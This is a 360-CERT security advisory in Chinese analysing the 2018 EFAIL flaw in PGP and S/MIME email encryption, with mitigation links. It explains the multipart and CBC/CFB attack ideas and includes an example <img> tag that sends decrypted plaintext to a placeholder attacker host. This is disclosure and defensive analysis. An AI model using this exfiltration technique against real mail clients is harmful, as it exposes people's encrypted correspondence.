报告编号: B6-2018-051501
报告来源: 360-CERT
报告作者: 360-CERT
更新日期: 2018-05-15
PGP/GPG 和 S/MIME是为电子邮件提供端到端安全的两个重要标准。
14日,欧洲安全研究员Sebastian Schinzel在twitter对 PGP/GPG 和 S/MIME 进行了漏洞预警,随后细节被公开。
360-CERT对漏洞持续关注,并对漏洞进行了详细分析。
电子邮件客户端对邮件内容展示有多种方式,其中HTML渲染是最流行的一种。HTML支持网络资源的请求,例如<img/>
、<input/>
、<script><scirpt />
等。
本次EFAIL攻击就是借助的<img />
标签的src属性,将解密后的原文发送到攻击者控制的远程服务器上,从而造成信息泄露。
漏洞根本的原因,是因为电子邮件客户端在处理multipart邮件的时候,对每一个multipart独立处理,而在显示的时候,会将多multipart邮件的渲染到同一个HTML里面。这样在邮件显示的时候,明文和解密后的原文将在一起显示,在这里会有安全隐患。
在电子邮件中允许多段存在,如图所示:
其中multipart进行多part标识,protocol进行配置,同时使用boundary进行分割。
邮件客户端处理邮件时,会对每个part独立处理,但是最后将渲染到同一个HTML界面中。这样我们可以构造如下PoC来利用该特性:
可以看到,PoC中利用boundary将邮件分为了三部分,分别为Content-Type: text/html ,Content-Type: multipart/encrypted;protocol=”application/pgp-encrypted”; ,和 Content-Type: text/html 。
因为邮件客户端对每个multipart独立处理,在这个过程中会对加密邮件进行解密。当受害者打开邮件的时,进行解密渲染,最后该邮件将解析为:
<img src="http://x.x.x.x/邮件明文">
这样的内容在受害者电子邮件客户端显示的时候,会发起http请求,将加密的邮件原文发往攻击者主机。
如果S/MIME采用CBC或者CFB模式,那么将会受到EFAIL攻击。
以CBC为例,CBC模式里是分段明文,每段数据都是通过头部与上一段密文亦或进行加密的。如下图所示:
在(a)这里, 有已知数据IV,C0,P0, 整个揭秘过程会自动亦或后得到C2,C3的部分,也就是我们想要伸出的目标数据unknown plaintext。
攻击逻辑很简单,将已知的头部标记(明文段”Content-type”)的密文部分篡改为img标签,把加密的密文包裹起来。这样在解析显示的时候会达到和第一种方法相同的攻击效果。
漏洞有许多攻击场景,例如中间人攻击。
攻击者作为中间人劫持到邮件流量,在加密的邮件点前后添加multipart。用户受到邮件打开后,明文内容将被img标签发送给攻击者。达到加密邮件泄露的效果:
漏洞影响包括window,linux, 安卓,IOS等在内的多平台多应用,具体影响范围如下图所示:
目前没有针对该漏洞的修复补丁,所以在漏洞修复之前,请广大用户立即禁用或卸载自动解密 PGP加密电子邮件的工具。不要阅读PGP加密的邮件。
同时请阅读以下指南,暂时禁用PGP插件以降低受攻击的可能:
雷鸟用户缓解措施【https://www.eff.org/deeplinks/2018/05/disabling-pgp-thunderbird-enigmail】
Apple Mail用户缓解措施【https://www.eff.org/deeplinks/2018/05/disabling-pgp-apple-mail-gpgtools】
outlook用户缓解措施【https://www.eff.org/deeplinks/2018/05/disabling-pgp-outlook-gpg4win】
2018-05-14 漏洞披露
2018-05-14 360-CERT进行跟进分析
2018-05-15 发布漏洞分析报告